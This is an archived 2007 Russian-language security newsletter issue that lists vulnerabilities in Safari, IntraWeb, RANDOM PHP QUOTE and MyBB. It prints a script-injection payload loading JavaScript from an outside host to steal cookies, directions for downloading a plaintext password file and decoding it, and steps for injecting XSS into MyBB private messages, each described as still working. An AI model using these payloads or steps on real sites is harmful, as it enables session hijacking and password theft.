Отправляет email-рассылки с помощью сервиса Sendsay

IT-безопасность в быту и не только

Рассылка закрыта

При закрытии подписчики были переданы в рассылку "Безопасность. Статьи, новости, комментарии" на которую и рекомендуем вам подписаться.

Вы можете найти рассылки сходной тематики в Каталоге рассылок.

←   Январь 2007   →
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
12.01.2007
00:55:06
07:05:13
13
14
15
15.01.2007
05:15:29
14:05:25
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Автор
Forester

Статистика

1.394 подписчиков
-1 за неделю
←   Все выпуски   →

Компьютер для продвинутых пользоватлей Выпус по безопасности. Уязвимости в Safari, IntraWeb, RANDOM


Компьютер для продвинутых пользователей
В этом выпуске:
Safari | IntraWeb | RANDOM PHP QUOTE | MyBB
ПО: Safari

Описание:
Safari на причины может выполнить код в HTML-документе, который может руководить выполнением html-тегов внутри комментария.
Детали:
В некоторых случаях вы можете заставить Apple’s Safari браузер выполнить произвольный код, который не должен выполнятся. В нашем примере всё что внутри комментариев, в теории не должно выполнятся, но Safsri начинает выполнять эти теги:
<title>myblog<!--</title></head><body><script src=http://beanfuzz.com/bean.js> --></title>
Блоги расположенные на BlogSpot.com имеют фильтр для этого ввода, но это не мешает нам вставить код внутрь комментариев. Тогда становится возможна XSS атака на куки.

Комментарий::
Уязвимсоть работаспособна на данный момент.
ПО: IntraWeb
Версия: 8.0

О продукте:
IntraWeb это RAD компонент для Borland Delphi и Kylix от AToZed Software, который позволяет программистам ускорить создание веб-приложений.
Описание:
DoS имеет место, когда специальный HTTP запрос послан на веб-приложение.
После запроса, неккоректный поток входит в точку входа и выполняется.
До IIS 5.x поток никогда не останваливается.
До IIS 6 вебсервер автоматически останавливает поток после определённого времени.

Комментарий::
Уязвимсоть работаспособна на данный момент.
ПО: RANDOM PHP QUOTE
Версия: 1.0
Сайт: http://www.scriptsez.net/download/download.php?action=download&p=random_php_quote.zip&ns=1

Использование:
http://www.site.com/pwd.txt
Потом расшифровываем пароли по bass64.
Комментарий::
Уязвимсоть работаспособна на данный момент.
ПО: MyBB

Использование:
Для использования вы должны быть зарегестрированны и авторизованы:
- идите в http://target/mybbpath/private.php
- вставьте ваш xss-код в "Тема"
- Нажмите "Просмотреть"
Комментарий::
Уязвимсоть работаспособна на данный момент.
Не забудьте проголосовать за выпуск!
Рассылка создана и ведется при поддержке Информационной сети Пермского края.
Меня можно найти: ICQ - 273214003

e-mail - isdmi1::mail.ru
Отблагодорить: WM - R407426923581
В избранное